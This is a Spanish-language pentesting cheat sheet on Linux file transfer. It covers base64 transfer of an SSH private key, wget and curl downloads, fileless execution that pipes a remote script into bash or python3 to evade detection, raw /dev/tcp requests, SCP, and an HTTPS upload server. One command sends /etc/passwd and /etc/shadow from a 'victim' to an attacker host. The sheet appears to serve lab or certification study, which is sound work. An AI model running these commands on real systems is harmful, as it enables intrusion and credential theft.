Skip to content

Linux File Transfer Methods


Download Operations

Base64 Encode / Decode

Util cuando no hay conectividad directa pero si capacidad de copiar y pegar texto. El flujo es: verificar hash en origen, codificar, transportar la cadena, decodificar en destino y verificar hash de nuevo.

En el atacante — verificar hash antes de codificar:

bash
$ md5sum id_rsa

4e301756a07ded0a2dd6953abf015278  id_rsa

Codificar el archivo en base64:

bash
$ cat id_rsa | base64 -w 0; echo

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnph...

Decodificar en el destino:

bash
$ echo -n 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnph...' | base64 -d > id_rsa

Verificar integridad:

bash
$ md5sum id_rsa

4e301756a07ded0a2dd6953abf015278  id_rsa

Web Downloads con wget y curl

bash
# wget
$ wget https://IP/file.sh -O /tmp/file.sh

# curl
$ curl -o /tmp/file.sh https://IP/file.sh

Fileless — Ejecutar en memoria sin tocar disco

En lugar de guardar el archivo y luego ejecutarlo, se descarga directamente y se pasa por pipe al interprete correspondiente. No se escribe nada en disco, lo que reduce la superficie de deteccion.

bash
# curl + bash
$ curl https://IP/script.sh | bash

# wget + python3
$ wget -qO- https://IP/script.py | python3

-qO- indica a wget que sea silencioso (-q) y que escriba la salida en stdout (-O-) en lugar de a un archivo.


Download con bash — /dev/tcp

Cuando no hay wget, curl ni ninguna herramienta de red disponible, bash puede abrir una conexion TCP directamente usando el pseudo-dispositivo /dev/tcp. Los tres pasos se ejecutan en secuencia sobre el mismo descriptor de archivo.

Abrir la conexion:

bash
$ exec 3<>/dev/tcp/10.10.10.32/80

Enviar la peticion HTTP GET:

bash
$ echo -e "GET /file.sh HTTP/1.1\n\n" >&3

Leer la respuesta:

bash
$ cat <&3

Para guardar el cuerpo descartando los headers HTTP, ver la seccion /dev/tcp del cheatsheet de transferencia de archivos.


SSH / SCP Downloads

SCP permite copiar archivos sobre una sesion SSH. Para usarlo como metodo de descarga, el servidor SSH debe estar activo en la maquina origen.

Habilitar e iniciar SSH si no esta corriendo:

bash
$ sudo systemctl enable ssh
$ sudo systemctl start ssh

Verificar que esta escuchando:

bash
$ netstat -lnpt | grep 22

tcp   0   0 0.0.0.0:22   0.0.0.0:*   LISTEN   -

Descargar un archivo desde el origen via SCP:

bash
$ scp user@192.168.49.128:/root/file.txt .

La sintaxis es scp origen destino. El punto al final indica el directorio actual como destino.


Upload Operations

Web Upload — uploadserver con HTTPS

uploadserver es un modulo Python que extiende el servidor HTTP estandar con soporte para subidas de archivos via POST. Se recomienda usar HTTPS para evitar transmitir datos en claro.

Instalar el modulo:

bash
$ python3 -m pip install --user uploadserver

Generar un certificado auto-firmado:

bash
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Esto genera un unico archivo server.pem que contiene tanto el certificado como la clave privada.

Levantar el servidor HTTPS en el puerto 443:

bash
$ mkdir https && cd https
$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
File upload available at /upload
Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...

Subir uno o varios archivos desde la victima:

bash
$ curl -X POST https://192.168.49.128/upload \
  -F 'files=@/etc/passwd' \
  -F 'files=@/etc/shadow' \
  --insecure

--insecure es necesario porque el certificado es auto-firmado y curl no lo reconoce como de confianza. -F envia los datos como multipart/form-data.


Servidores HTTP alternativos

Cuando solo se necesita servir archivos para descarga y no subida, cualquiera de estos one-liners es suficiente.

bash
# Python 3
$ python3 -m http.server 8000

# Python 2.7
$ python2.7 -m SimpleHTTPServer 8000

# PHP
$ php -S 0.0.0.0:8000

# Ruby
$ ruby -run -ehttpd . -p8000

Todos sirven el directorio actual en el puerto indicado. Desde la maquina destino, descargar con wget o curl:

bash
$ wget 192.168.49.128:8000/file.txt
$ curl -o file.txt http://192.168.49.128:8000/file.txt

SCP Upload

Para subir archivos desde la maquina local a un destino remoto via SCP. El destino debe tener SSH activo y el usuario debe tener permisos de escritura en la ruta de destino.

bash
$ scp /etc/passwd user@192.168.49.128:/home/user/

Para subir varios archivos en una sola operacion:

bash
$ scp /etc/passwd /etc/hosts user@192.168.49.128:/home/user/

Para subir un directorio completo de forma recursiva:

bash
$ scp -r /directorio/ user@192.168.49.128:/home/user/